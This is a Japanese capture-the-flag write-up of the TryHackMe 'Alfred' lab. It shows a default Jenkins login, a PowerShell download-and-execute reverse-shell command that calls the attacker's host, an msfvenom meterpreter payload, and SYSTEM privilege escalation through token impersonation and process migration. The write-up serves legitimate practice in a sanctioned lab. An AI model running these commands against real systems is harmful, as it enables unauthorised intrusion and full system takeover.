はじめに
TryHackMe という Hack the Box のようなサービスを最近やっています。 https://tryhackme.com/
その中の Alfred という machine をやっていきます。
cheat sheet
以下で cheat sheet としてツールの使い方などをまとめています。参考にしてください。 github | sanposhiho/MYCHEATSHEET
nmap
root@kali:~# nmap -sC -sV 10.10.143.57
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-02 05:39 UTC
Nmap scan report for ip-10-10-143-57.eu-west-1.compute.internal (10.10.143.57)
Host is up (0.00051s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn't have a title (text/html).
3389/tcp open tcpwrapped
|_ssl-date: 2020-05-02T05:40:09+00:00; -1s from scanner time.
8080/tcp open http Jetty 9.4.z-SNAPSHOT
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
MAC Address: 02:C0:6E:E9:EE:E8 (Unknown)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -1s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.38 seconds
8080 番で Jenkins が動いていました
適当に admin/admin を入力すれば通りました
Invoke-PowerShellTcp.ps1 を使って shell をとる
有名な nishang のスクリプトを使って shell をとります https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
Jenkins は CI/CD のツールです。config 内で build の時に実行するスクリプトを指定できるので以下のコマンドを指定しておきます。
powershell iex (New-Object Net.WebClient).DownloadString('http://10.10.66.152:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.66.152 -Port 4242
http://10.10.66.152:8000/Invoke-PowerShellTcp.ps1
をダウンロード- Invoke-PowerShellTcp を実行(10.10.66.152:4242 に接続)
ということをしています。
① 用に Invoke-PowerShellTcp.ps1
を DL して python -m SimpleHTTPServer
を立てておきます
root@kali:~# wget https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
② 用に nc で待ち構えておきます。
root@kali:~# nc -lnvp 4242
listening on [any] 4242 ...
build を Jenkins 側で実行するとうまく shell が取れました
connect to [10.10.66.152] from (UNKNOWN) [10.10.143.57] 49207
Windows PowerShell running as user bruce on ALFRED
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Program Files (x86)\Jenkins\workspace\project>
これで user.txt が取れます。
msfvenom で meterpreter につなぎ直す
meterpreter に接続し直したいので、msfvenom を使います
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -a x86 LHOST=10.10.66.152 LPORT=1111 -f exe -o sheshe.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
Saved as: sheshe.exe
root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
先ほどとった shell で以下を実行して DL します。
powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.10.66.152:8000/sheshe.exe','sheshe.exe')"
metasploit で multi/handler を待ち構えさせておきます。
msf5 exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.66.152 yes The listen address (an interface may be specified)
LPORT 1111 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.66.152:1111
先ほど DL したスクリプトを実行します。
PS C:\Program Files (x86)\Jenkins\workspace\project> Start-Process "sheshe.exe"
meterpreter を取得できました。
[*] Meterpreter session 1 opened (10.10.66.152:1111 -> 10.10.149.175:49207) at 2020-05-02 11:01:01 +0000
meterpreter >
whoami /priv
で権限確認
whoami /priv
で
現在のユーザーに対して割り当てられている権限(特権)の一覧が表示される。
とのことです。 https://www.atmarkit.co.jp/ait/articles/1006/11/news107.html
C:\Users\bruce> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
=============================== ========================================= ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Disabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled
SeCreatePagefilePrivilege Create a pagefile Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links Disabled
Enabled/Disabled に関しては以下の記事が参考になりました。 whoami /priv の状態の「無効」「有効」 とは何か
SeDebugPrivilege, SeImpersonatePrivilege の 2 つが有効になっています。
SeDebugPrivilege
この特権により、TerminateProcess()、CreateRemoteThread() の呼び出し、およびその他の呼び出し先プロセスの危険性のある Win32 API の呼び出しなど、呼び出し元プロセスから呼び出し先プロセスへのすべてのアクセスが可能になります。
SeImpersonatePrivilege
“認証後にクライアントを偽装” ユーザー権利をユーザーに割り当てると、そのユーザーに代わって動作するプログラムがクライアントを偽装することを許可することになります。
SeDebugPrivilege を使用して任意のプロセスへのハンドルを取得する方法 “認証後にクライアントを偽装” および “グローバル オブジェクトの作成” のセキュリティ設定の概要 Abusing Token Privileges For LPE
privilege escalation
incognito を load します。
incognito に関しては offencive security の以下の記事が参考になるかもです。 FUN WITH INCOGNITO
また、以下の記事の Token Impersonation の章もわかりやすかったです。 Attack Simulation: from No Access to Domain Admin
meterpreter > load incognito
Loading extension incognito...Success.
list_tokens
コマンドを使用し、使用できる token を確認します。
meterpreter > list_tokens
Usage: list_tokens <list_order_option>
Lists all accessible tokens and their privilege level
OPTIONS:
-g List tokens by unique groupname
-u List tokens by unique username
meterpreter > list_tokens -g
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
\
BUILTIN\Administrators
BUILTIN\IIS_IUSRS
BUILTIN\Users
NT AUTHORITY\Authenticated Users
NT AUTHORITY\NTLM Authentication
NT AUTHORITY\SERVICE
NT AUTHORITY\This Organization
NT AUTHORITY\WRITE RESTRICTED
NT SERVICE\AppHostSvc
NT SERVICE\AudioEndpointBuilder
NT SERVICE\BFE
NT SERVICE\CertPropSvc
NT SERVICE\CscService
NT SERVICE\Dnscache
NT SERVICE\eventlog
NT SERVICE\EventSystem
NT SERVICE\FDResPub
NT SERVICE\iphlpsvc
NT SERVICE\LanmanServer
NT SERVICE\MMCSS
NT SERVICE\PcaSvc
NT SERVICE\PlugPlay
NT SERVICE\RpcEptMapper
NT SERVICE\Schedule
NT SERVICE\SENS
NT SERVICE\SessionEnv
NT SERVICE\Spooler
NT SERVICE\TrkWks
NT SERVICE\UmRdpService
NT SERVICE\UxSms
NT SERVICE\Winmgmt
NT SERVICE\WSearch
NT SERVICE\wuauserv
Impersonation Tokens Available
========================================
NT AUTHORITY\NETWORK
NT SERVICE\AudioSrv
NT SERVICE\DcomLaunch
NT SERVICE\Dhcp
NT SERVICE\DPS
NT SERVICE\lmhosts
NT SERVICE\MpsSvc
NT SERVICE\netprofm
NT SERVICE\nsi
NT SERVICE\PolicyAgent
NT SERVICE\Power
NT SERVICE\ShellHWDetection
NT SERVICE\W32Time
NT SERVICE\WdiServiceHost
NT SERVICE\WinHttpAutoProxySvc
NT SERVICE\wscsvc
BUILTIN\Administrators
の token が使用できるので impersonate_token
コマンドを使用して BUILTIN\Administrators
になりすまします。
meterpreter > impersonate_token
Usage: impersonate_token <token>
Instructs the meterpreter thread to impersonate the specified token. All other actions will then be made in the context of that token.
Hint: Double backslash DOMAIN\\name (meterpreter quirk)
Hint: Enclose with quotation marks if name contains a space
meterpreter > impersonate_token "BUILTIN\Administrators"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
また、その後 ps でプロセスを services.exe
に乗り移ります。
これは Windows が権限を処理する方法によるもので、プロセスが何ができるか、何ができないかを決定するために、なりすましトークンではなく、プロセスのプライマリトークンを使用しているために、高い権限のトークンを持っていても、実際には特権ユーザの権限を持っていない可能性があるためです。
以下の解説がわかりやすかったです(と言ってもあんまりわかりきってない) 偽装とは何か?
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
396 4 smss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\smss.exe
524 516 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe
572 564 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe
580 516 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\wininit.exe
608 564 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\winlogon.exe
668 580 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\services.exe
676 580 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe
680 668 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
684 580 lsm.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsm.exe
776 668 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
852 668 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
872 2528 powershell.exe x86 0 alfred\bruce C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
924 608 LogonUI.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\LogonUI.exe
940 668 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
992 668 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
1016 668 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
1064 668 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
1180 668 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe
1212 668 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1336 668 amazon-ssm-agent.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
1408 668 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
1444 668 LiteAgent.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\Xentools\LiteAgent.exe
1472 668 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1644 668 jenkins.exe x64 0 alfred\bruce C:\Program Files (x86)\Jenkins\jenkins.exe
1740 668 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
1832 1644 java.exe x86 0 alfred\bruce C:\Program Files (x86)\Jenkins\jre\bin\java.exe
1884 668 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
1908 524 conhost.exe x64 0 alfred\bruce C:\Windows\System32\conhost.exe
2244 872 sheshe.exe x86 0 alfred\bruce C:\Program Files (x86)\Jenkins\workspace\project\sheshe.exe
2528 1832 cmd.exe x86 0 alfred\bruce C:\Windows\SysWOW64\cmd.exe
2620 524 conhost.exe x64 0 alfred\bruce C:\Windows\System32\conhost.exe
2928 668 sppsvc.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\sppsvc.exe
2964 668 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
3056 668 SearchIndexer.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\SearchIndexer.exe
meterpreter > migrate 668
[*] Migrating from 2244 to 668...
[*] Migration completed successfully.
プロセスの乗り移りに成功しました。 これで root.txt を取得できます。
終わりに
今回の machine は今まで知らなかった Windows の token とはなんぞやみたいな部分などかなり勉強になる machine でした。 TryHackMe は丁寧な誘導があるのでこう言ったわけわからん machine でも挑戦するハードルが低いところがいい点ですね。